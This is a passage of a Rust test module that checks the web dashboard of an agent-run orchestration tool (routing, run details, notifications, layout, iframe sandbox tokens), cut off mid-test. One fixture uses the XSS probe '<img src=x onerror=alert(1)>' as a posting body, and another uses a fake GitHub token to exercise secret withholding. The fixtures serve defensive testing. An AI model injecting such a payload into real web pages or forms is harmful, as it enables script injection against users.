22140                    .find("roundRail(pr)")
22141                    .expect("renderLand uses the rail")
22142        );
22143    }
22144
22145    #[test]
22146    fn the_runs_page_redesign_keeps_its_guards() {
22147        let body = |name: &str| {
22148            let at = APP_JS
22149                .find(name)
22150                .unwrap_or_else(|| panic!("{name} missing"));
22151            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
22152        };
22153        // A null child must never reach the native append (it prints "null").
22154        let land = body("function renderLand");
22155        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
22156        assert!(
22157            !land.contains("box.append("),
22158            "renderLand must use append()"
22159        );
22160        assert!(land.contains("append(box, ["));
22161        // Tabs are hash routes; the run id alone decides a reload.
22162        let parse_route = APP_JS.split_once("function parseRoute").unwrap().1;
22163        let parse_route = parse_route.split_once("/* ---- two-pane layout").unwrap().0;
22164        assert!(parse_route.contains("RUN_TABS.includes(parts[2])"));
22165        assert!(
22166            body("function applyRoute").contains("const prevRoute = state.route;")
22167                && body("function applyRoute")
22168                    .contains("route.name !== prevRoute.name || route.id !== prevRoute.id")
22169        );
22170        // The decorative diagram is gone, the strip and its guards stay.
22171        assert!(!APP_JS.contains("adviseConvergeDiagram"));
22172        assert!(!INDEX_HTML.contains("advise-converge"));
22173        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
22174        assert!(APP_JS.contains("provisional"));
22175        for id in [
22176            "run-tab-overview",
22177            "run-tab-timeline",
22178            "run-tab-report",
22179            "run-report",
22180            "runs-scope",
22181        ] {
22182            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
22183        }
22184        assert!(!INDEX_HTML.contains("runs-tree"));
22185        assert!(!INDEX_HTML.contains("run-raw-panel"));
22186        // Fold still says it cannot be resumed.
22187        assert!(APP_JS.contains("resume"));
22188        // The unreadable-runs count stays on the page.
22189        assert!(APP_JS.contains("unreadable"));
22190    }
22191
22192    #[test]
22193    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
22194        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
22195        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
22196        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
22197        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
22198        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
22199        // The subtitle still counts them whatever the banner does.
22200        assert!(APP_JS.contains("unreadable` : null"));
22201    }
22202
22203    #[test]
22204    fn blocked_run_detail_exposes_the_failed_gate_reason() {
22205        let mut state = RunState::new(
22206            "/repo".into(),
22207            "main".into(),
22208            "abc".into(),
22209            "task".into(),
22210            crate::config::Config::default(),
22211        );
22212        state.status = RunStatus::Blocked;
22213        state.gate_ran = true;
22214        state.gate.push(crate::run::CommandOutcome {
22215            command: "cargo make check".into(),
22216            code: Some(1),
22217            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
22218            duration_ms: 0,
22219            resource_blocked: false,
22220            ..Default::default()
22221        });
22222        let view = RunDetailView::of(
22223            state,
22224            false,
22225            crate::run::Liveness::Unknown,
22226            None,
22227            None,
22228            None,
22229        );
22230        let value = serde_json::to_value(view).unwrap();
22231        assert_eq!(
22232            value["stop_reason"],
22233            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
22234        );
22235    }
22236
22237    #[test]
22238    fn the_run_detail_payload_says_whether_the_run_is_done() {
22239        // `landView` reads `run.done`; the detail response must carry it.
22240        for (status, done) in [
22241            (RunStatus::Superseded, true),
22242            (RunStatus::Blocked, true),
22243            (RunStatus::Landing, false),
22244        ] {
22245            let mut state = RunState::new(
22246                std::path::PathBuf::from("/repo"),
22247                "main".to_owned(),
22248                "abc".to_owned(),
22249                "x".to_owned(),
22250                crate::config::Config::default(),
22251            );
22252            state.status = status;
22253            let v = serde_json::to_value(RunDetailView::of(
22254                state,
22255                false,
22256                crate::run::Liveness::Unknown,
22257                None,
22258                None,
22259                None,
22260            ))
22261            .unwrap();
22262            assert_eq!(v["done"], done, "{status:?}");
22263        }
22264    }
22265
22266    /// The first node of a markdown block holds a `strong` somewhere.
22267    fn has_strong(nodes: &[md::Node]) -> bool {
22268        serde_json::to_string(nodes).unwrap().contains("strong")
22269    }
22270
22271    #[test]
22272    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
22273        let mut state = RunState::new(
22274            std::path::PathBuf::from("/repo"),
22275            "main".to_owned(),
22276            "abc".to_owned(),
22277            "x".to_owned(),
22278            crate::config::Config::default(),
22279        );
22280        let proposal = |approach: &str| {
22281            serde_json::json!({
22282                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
22283            })
22284        };
22285        state.advice = Some(
22286            serde_json::from_value(serde_json::json!({
22287                "records": [
22288                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
22289                     "proposal": proposal("do **this**")},
22290                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
22291                ],
22292                "synthesis": "- one\n- **two**\n\n`code`",
22293            }))
22294            .unwrap(),
22295        );
22296        state.candidates = serde_json::from_value(serde_json::json!([
22297            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
22298             "summary": "did **it**"},
22299            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
22300        ]))
22301        .unwrap();
22302        // Recorded in ascending severity, the reverse of how the page sorts
22303        // them: the arrays must follow the record, not the display.
22304        state.reviews = serde_json::from_value(serde_json::json!([{
22305            "round": 1, "head": "h",
22306            "reviews": [{
22307                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
22308                "findings": [
22309                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
22310                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
22311                ],
22312            }],
22313            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
22314            "fix": {"agent": "a", "notes": "fixed **it**",
22315                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
22316        }, {"round": 2, "head": "h2", "reviews": []}]))
22317        .unwrap();
22318
22319        let v = serde_json::to_value(RunDetailView::of(
22320            state,
22321            false,
22322            crate::run::Liveness::Unknown,
22323            None,
22324            None,
22325            None,
22326        ))
22327        .unwrap();
22328
22329        let strong = |p: &str| {
22330            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
22331            assert!(n.to_string().contains("strong"), "{p}: {n}");
22332        };
22333        strong("/advice_md/synthesis");
22334        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
22335        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
22336        strong("/advice_md/approaches/0");
22337        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
22338        strong("/candidate_summaries_md/0");
22339        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
22340        strong("/reviews_md/0/reviewers/0/summary");
22341        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
22342        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
22343        assert!(f[1].to_string().contains("strong"));
22344        strong("/reviews_md/0/reconsideration/0");
22345        strong("/reviews_md/0/fix/notes");
22346        strong("/reviews_md/0/fix/rejected/0");
22347        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
22348        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
22349        // The raw strings stay, and no schema moved.
22350        assert_eq!(v["candidates"][0]["summary"], "did **it**");
22351        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
22352    }
22353
22354    #[test]
22355    fn a_run_without_advice_has_no_advice_md() {
22356        let state = RunState::new(
22357            std::path::PathBuf::from("/repo"),
22358            "main".to_owned(),
22359            "abc".to_owned(),
22360            "x".to_owned(),
22361            crate::config::Config::default(),
22362        );
22363        let p = run_prose_md(&state);
22364        assert!(p.advice_md.is_none());
22365        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
22366    }
22367
22368    #[test]
22369    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
22370        let store = ask::Questions::at(PathBuf::from("unused"));
22371        let gt = crate::github_text::Withheld {
22372            title: false,
22373            body: true,
22374            categories: vec!["sensitive-data".into()],
22375        };
22376        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
22377        let (detail, comparison) =
22378            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
22379        let mut q = Question::new(
22380            "r".into(),
22381            "github-text".into(),
22382            "posting-gate".into(),
22383            "s".into(),
22384            detail,
22385            Vec::new(),
22386        );
22387        assert!(
22388            QuestionView::of(q.clone(), &store, None)
22389                .posting_view
22390                .is_none()
22391        );
22392        q.posting_comparison = Some(comparison);
22393        let view = QuestionView::of(q.clone(), &store, None);
22394        let field = &view.posting_view.unwrap().fields[0];
22395        assert_eq!(
22396            field
22397                .original
22398                .iter()
22399                .map(|f| f.text.as_str())
22400                .collect::<String>(),
22401            body
22402        );
22403        assert!(field.original[0].text.starts_with("<img"));
22404        let original_question: Question =
22405            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
22406        assert_eq!(original_question, q);
22407        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
22408            .original
22409            .start = 1;
22410        assert!(
22411            QuestionView::of(q.clone(), &store, None)
22412                .posting_view
22413                .is_none()
22414        );
22415        q.posting_comparison = original_question.posting_comparison;
22416        q.detail.push_str("extra context");
22417        assert!(
22418            QuestionView::of(q.clone(), &store, None)
22419                .posting_view
22420                .is_some()
22421        );
22422        q.detail.insert(0, 'x');
22423        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
22424    }
22425
22426    #[test]
22427    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
22428        let store = ask::Questions::at(PathBuf::from("unused"));
22429        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
22430        let gt = crate::github_text::Withheld::from_check(
22431            &crate::github_text::check("fix: x", body),
22432            "fix: x",
22433            body,
22434        )
22435        .unwrap();
22436        let (detail, comparison) =
22437            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
22438        let mut q = Question::new(
22439            "r".into(),
22440            "github-text".into(),
22441            "posting-gate".into(),
22442            "s".into(),
22443            detail,
22444            Vec::new(),
22445        );
22446        q.posting_comparison = Some(comparison);
22447        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
22448        let field = &value["posting_view"]["fields"][0];
22449        let group = &field["replacement_group"];
22450        let triggers = group["triggers"].as_array().unwrap();
22451        assert_eq!(triggers.len(), 2);
22452        assert_ne!(triggers[0], triggers[1]);
22453        for id in triggers {
22454            assert!(
22455                field["original"]
22456                    .as_array()
22457                    .unwrap()
22458                    .iter()
22459                    .any(|f| &f["pair"] == id)
22460            );
22461            assert!(
22462                !field["changed"]
22463                    .as_array()
22464                    .unwrap()
22465                    .iter()
22466                    .any(|f| &f["pair"] == id)
22467            );
22468        }
22469        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
22470            group["id"].as_u64().unwrap() as usize;
22471        assert!(
22472            QuestionView::of(q, &store, None).posting_view.is_none(),
22473            "group and trigger IDs cannot collide"
22474        );
22475    }
22476
22477    #[test]
22478    fn a_question_view_carries_markdown_for_each_thread_turn() {
22479        let home = TempDir::new().unwrap();
22480        let store = ask::Questions::at(home.path().join("questions"));
22481        let mut q = Question::new(
22482            "run".to_owned(),
22483            "implement".to_owned(),
22484            "impl-A".to_owned(),
22485            "which?".to_owned(),
22486            String::new(),
22487            Vec::new(),
22488        );
22489        q.say("plain words").unwrap();
22490        q.reply("use **this**", Vec::new()).unwrap();
22491        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
22492        let bodies = &v["thread_bodies_md"];
22493        assert_eq!(bodies.as_array().unwrap().len(), 2);
22494        assert!(!bodies[0].to_string().contains("strong"));
22495        assert!(bodies[1].to_string().contains("strong"));
22496    }
22497
22498    #[test]
22499    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
22500        let home = TempDir::new().unwrap();
22501        let store = ask::Questions::at(home.path().join("questions"));
22502        let mut q = Question::new(
22503            "run".to_owned(),
22504            "conduct".to_owned(),
22505            "conduct".to_owned(),
22506            "which?".to_owned(),
22507            String::new(),
22508            Vec::new(),
22509        );
22510        q.say("plain words").unwrap();
22511        q.thread.push(ask::Turn {
22512            who: ask::Who::Agent,
22513            body: "Settled as `merge`".to_owned(),
22514            at: jiff::Timestamp::now(),
22515            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
22516        });
22517        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
22518        let notes = &v["thread_notes_md"];
22519        assert_eq!(notes.as_array().unwrap().len(), 2);
22520        assert!(notes[0].is_null());
22521        let text = notes[1].to_string();
22522        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
22523        assert!(APP_JS.contains("ask-turn-note"));
22524    }
22525
22526    #[test]
22527    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
22528        // The land panel defers to `run.status` for merged, and labels a
22529        // recorded-open PR on any finished run (superseded, blocked, ...) as
22530        // last seen, never as live state.
22531        assert!(APP_JS.contains("function landView(run, raw) {"));
22532        assert!(
22533            APP_JS.contains(
22534                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
22535            )
22536        );
22537        assert!(APP_JS.contains("const pr = landView(run, raw);"));
22538        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
22539        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
22540        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
22541    }
22542
22543    #[test]
22544    fn live_runs_are_never_hidden_or_folded_as_superseded() {
22545        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
22546        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
22547        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
22548        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
22549    }
22550
22551    #[test]
22552    fn review_rounds_label_a_distinct_verified_head() {
22553        assert!(APP_JS.contains("round.verified_head"));
22554        assert!(APP_JS.contains("verified HEAD"));
22555        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
22556    }
22557
22558    #[test]
22559    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
22560        // A blocked task's chip and note must not fall back to a queued-like
22561        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
22562        // itself by e11fc58 but never checked here.
22563        assert!(APP_JS.contains("blocked: { glyph:"));
22564        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
22565
22566        // `blocked_by` mixes task ids and question ids in the same list, and
22567        // the client can only tell them apart by checking each id against
22568        // what it actually knows - never by guessing from the id's shape.
22569        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
22570        assert!(
22571            APP_JS.contains(
22572                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
22573            ),
22574            "the note line must name what a blocked task is waiting on, not just that it is blocked"
22575        );
22576        // The classification must key off `status_str`, never off `blocked_by`
22577        // or `block_reason` merely being present - both can survive briefly
22578        // on a task a hold or a dead daemon just moved off `blocked`.
22579        assert!(APP_JS.contains("if (status === \"blocked\") {"));
22580
22581        // The dedicated Dependencies view uses the server-projected
22582        // `/api/dependencies` explorer rather than the obsolete client SVG.
22583        assert!(APP_JS.contains("dependencies: \"/api/dependencies\""));
22584        assert!(!APP_JS.contains("function depNode("));
22585        assert!(!APP_JS.contains("function dependencyRanks("));
22586
22587        // `Task::answers` - decisions already made - are shown as a record on
22588        // the card, the same disclosure style as the full instruction.
22589        assert!(APP_JS.contains("Resolved questions"));
22590        assert!(APP_JS.contains("r.answersList.append("));
22591        assert!(APP_CSS.contains(".task-answers"));
22592        {
22593            let start = APP_JS
22594                .find("function updateTalkTaskRow")
22595                .expect("updateTalkTaskRow");
22596            let body = &APP_JS[start..];
22597            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
22598            assert!(
22599                body.contains(
22600                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
22601                ),
22602                "a chat-filed task row must link to the task page"
22603            );
22604            assert!(
22605                !body.contains("#/runs/") && !body.contains("#/queue/"),
22606                "the row must not branch to a run or the queue card"
22607            );
22608            assert!(APP_CSS.contains(".talk-task-link"));
22609        }
22610    }
22611
22612    #[test]
22613    fn a_task_notification_links_to_the_task_page() {
22614        // A task notice opens the task detail page, not the Backlog card.
22615        let start = APP_JS
22616            .find("function noticeLink(")
22617            .expect("noticeLink exists");
22618        let body = &APP_JS[start..];
22619        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
22620        assert!(
22621            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
22622            "a task notice's link must target the task page"
22623        );
22624        assert!(
22625            !body.contains("#/queue/"),
22626            "regression: the task link must not go back to the Backlog route"
22627        );
22628        assert!(
22629            APP_JS.contains(
22630                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
22631            ),
22632            "`#/tasks/<id>` must parse into the task route"
22633        );
22634
22635        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
22636        assert!(
22637            APP_JS.contains(
22638                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
22639            ),
22640            "`#/queue/<id>` must parse into a route carrying that id"
22641        );
22642
22643        // And the Backlog view has to actually land on the card once it can
22644        // - see consumeQueueFocus(), which renderQueue() calls on every pass
22645        // so a focus set before the queue has loaded is retried once it has.
22646        assert!(APP_JS.contains("state.queueFocus = route.id;"));
22647        assert!(APP_JS.contains("function consumeQueueFocus()"));
22648        assert!(APP_JS.contains("jumpToTask(id)"));
22649    }
22650
22651    #[test]
22652    fn notifications_distinguish_actionable_questions_from_informational_notices() {
22653        let start = APP_JS
22654            .find("function noticeCoveredBy(")
22655            .expect("noticeCoveredBy exists");
22656        let body = &APP_JS[start..];
22657        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
22658
22659        // Historical associations are informational, even for open questions.
22660        assert!(body.contains("Associated question ${short}"));
22661        assert!(!body.contains("el(\"a\""));
22662
22663        // A resolved question displays status rather than an actionable link
22664        assert!(body.contains("(resolved)"));
22665        assert!(body.contains("(closed)"));
22666
22667        let start = APP_JS
22668            .find("function renderNotifications()")
22669            .expect("renderNotifications exists");
22670        let body = &APP_JS[start..];
22671        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
22672
22673        // Only a server-resolved answerable question supplies a response link.
22674        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
22675        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
22676        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
22677        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
22678    }
22679
22680    /// Chat rows are two lines at every width: the title alone, then the
22681    /// shrinkable secondary info.
22682    #[test]
22683    fn chat_rows_put_the_title_alone_on_the_first_line() {
22684        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
22685        assert!(APP_CSS.contains(
22686            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
22687        ));
22688        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
22689        assert!(APP_JS.contains("class: \"badge talk-unread\""));
22690    }
22691
22692    #[test]
22693    fn run_rows_put_the_title_alone_on_the_first_line() {
22694        assert!(
22695            APP_CSS.contains(
22696                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
22697            )
22698        );
22699        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
22700        assert!(APP_JS.contains("class: \"card run-card\""));
22701        assert!(APP_JS.contains("class: \"repo run-id\""));
22702    }
22703
22704    /// Wide screens get a master/detail layout built from the views a phone
22705    /// drills into. These are string assertions: they pin the contract between
22706    /// the three assets, not how it looks.
22707    #[test]
22708    fn wide_screens_show_list_and_preview_side_by_side() {
22709        // One breakpoint, spelled the same in the script and the stylesheet.
22710        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
22711        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
22712        assert!(APP_CSS.contains("main[data-split]"));
22713        assert!(APP_CSS.contains("body[data-split]"));
22714
22715        // The route -> panes table, and a narrow screen opting out of it.
22716        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
22717        assert!(
22718            APP_JS.contains(
22719                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
22720            )
22721        );
22722        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
22723        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
22724        assert!(INDEX_HTML.contains("id=\"split-empty\""));
22725
22726        // Selection is derived from the route, and only ever paints a row.
22727        assert!(APP_JS.contains("function markSelected() {"));
22728        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
22729        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
22730        // The dense row must override the stacked card the 720px block sets up.
22731        assert!(
22732            APP_CSS.contains(
22733                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
22734            )
22735        );
22736
22737        // Independent scrolling: the page stops scrolling, each pane does.
22738        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
22739        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
22740        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
22741        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
22742
22743        // A refresh must never navigate: the loaders still check that their
22744        // subject is the one on screen, and crossing the breakpoint only
22745        // re-reads the hash.
22746        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
22747        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
22748        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
22749        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
22750
22751        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
22752        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
22753    }
22754
22755    #[test]
22756    fn panel_sandbox_carries_exactly_popups() {
22757        let needle = "sandbox: \"";
22758        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
22759        assert_eq!(
22760            matches.len(),
22761            1,
22762            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
22763        );
22764        let start = matches[0].0 + needle.len();
22765        let end = APP_JS[start..]
22766            .find('"')
22767            .expect("sandbox attribute value must be terminated by a closing quote");
22768        let val = &APP_JS[start..start + end];
22769        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
22770        let expected: std::collections::BTreeSet<&str> =
22771            ["allow-popups", "allow-popups-to-escape-sandbox"]
22772                .into_iter()
22773                .collect();
22774        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
22775        assert!(
22776            !tokens.contains("allow-scripts"),
22777            "allow-scripts must never be present in sandbox"
22778        );
22779        assert!(
22780            !tokens.contains("allow-same-origin"),
22781            "allow-same-origin must never be present in sandbox"
22782        );
22783    }
22784
22785    #[test]
22786    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
22787        // consumeQueueFocus() clears an active Backlog search before it can
22788        // scroll to the target card (the sections list is hidden while a
22789        // search is showing), by recursing back into renderQueue(). The
22790        // fixer's first cut nulled state.queueFocus before that recursive
22791        // call, so the second pass saw nothing to jump to and the jump was
22792        // silently dropped whenever a notification's link was opened with a
22793        // stale search still active. state.queueFocus must only be cleared
22794        // right before jumpToTask() actually runs.
22795        assert!(
22796            APP_JS.contains(
22797                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
22798            ),
22799            "the search-clearing branch must run before state.queueFocus is cleared, or the \
22800             recursive renderQueue() call has nothing left to jump to"
22801        );
22802        assert!(
22803            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
22804            "state.queueFocus must be cleared only once the jump has landed, so a card that \
22805             arrives later still gets it"
22806        );
22807        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
22808        assert!(APP_JS.contains("is not in the current Backlog."));
22809        assert!(APP_JS.contains("li.card[data-task-id=\""));
22810        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
22811        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
22812        assert!(APP_CSS.contains(".card-permalink"));
22813        assert!(APP_CSS.contains(".queue-focus-status"));
22814        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
22815    }
22816
22817    #[test]
22818    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
22819        // The task's own repro: only the link text inside .notice-meta was
22820        // clickable, so a tap on the message, the timestamp, or the card's
22821        // padding did nothing - on a phone that reads as "the card doesn't
22822        // work" even though the tiny link inside it did. Mark read / Dismiss
22823        // must keep working independently of this: `.closest("a, button")`
22824        // is what lets a tap that actually lands on those elements fall
22825        // through instead of being hijacked into a navigation.
22826        assert!(
22827            APP_JS.contains(
22828                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
22829            ),
22830            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
22831        );
22832    }
22833
22834    #[test]
22835    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
22836        assert!(
22837            APP_JS.contains("round.verified_head !== round.head"),
22838            "a round that verified an earlier commit must be visibly distinct from one that \
22839             verified the head reviewers are looking at now"
22840        );
22841        assert!(
22842            APP_JS.contains("round.verified_at"),
22843            "when a check ran must be on the wire, not just which commit"
22844        );
22845        assert!(
22846            APP_JS.contains("resource_blocked"),
22847            "a command magi never got to run (shared build cache contention) must not render \
22848             the same as a command that ran and failed"
22849        );
22850    }
22851
22852    #[test]
22853    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
22854        // Every KPI tile but Total runs and Completion names an exact
22855        // RunStatus and hands it to openRunsFiltered(), which is what wires
22856        // the click into state.runsFilter.status (matchesFilter's own
22857        // status check) rather than the coarser runsStateFilter chips. Each
22858        // status literal here must be one of the strings runSection() (and
22859        // isStale()) actually compare a run's own `status` field against -
22860        // a status this dashboard invented would filter to nothing.
22861        assert!(
22862            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
22863            "every KPI tile built through statusTile() must route its click through \
22864             openRunsFiltered, the single place that sets the Runs filter"
22865        );
22866        for (label, status) in [
22867            ("Merged", "merged"),
22868            ("Ready", "ready"),
22869            ("Blocked", "blocked"),
22870            ("Stalled", "stalled"),
22871        ] {
22872            let call = format!("statusTile(\"{label}\", t.{status}, ");
22873            assert!(
22874                APP_JS.contains(&call),
22875                "expected the {label} KPI tile built via {call}..."
22876            );
22877            assert!(
22878                APP_JS.contains(&format!("status === \"{status}\"")),
22879                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
22880                 compare a run against, not one invented only for the stats tile"
22881            );
22882        }
22883        assert!(
22884            APP_JS.contains("function openRunsFiltered(status)"),
22885            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
22886        );
22887        assert!(
22888            APP_JS.contains(
22889                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
22890            ),
22891            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
22892        );
22893        // applyRoute() only flips which view is visible for a plain `#runs`
22894        // hash - it does not itself redraw the list (see applyRoute's own
22895        // handling below) - so openRunsFiltered must call renderRuns()
22896        // itself, and must call applyRoute() too so the view flips even
22897        // when the hash string doesn't change (the operator may already be
22898        // on the Runs view when a tile is tapped, which fires no
22899        // hashchange event at all).
22900        assert!(
22901            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
22902            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
22903             hashchange event that may never fire"
22904        );
22905    }
22906
22907    #[test]
22908    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
22909        // A stats tile can leave state.runsFilter.status set to something
22910        // done-by-construction (e.g. "merged") - picking "Active" afterward
22911        // must drop it the same way an incompatible tree section is already
22912        // dropped, or the Runs list renders permanently empty with no way
22913        // for the operator to tell why.
22914        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
22915        assert!(
22916            APP_JS.contains(
22917                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
22918            ),
22919            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
22920             guard for an incompatible tree section"
22921        );
22922    }
22923
22924    #[test]
22925    fn every_stats_queue_tile_names_a_real_queue_section() {
22926        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
22927        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
22928        // (consumeQueueSectionFocus finds no matching <details> and drops
22929        // the focus) rather than fail loudly, so pin every key against the
22930        // section list it has to resolve against.
22931        assert!(
22932            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
22933            "every queue tile built through sectionTile() must route its click through \
22934             openQueueSectionFocus"
22935        );
22936        for key in ["upnext", "running", "done", "held", "blocked"] {
22937            assert!(
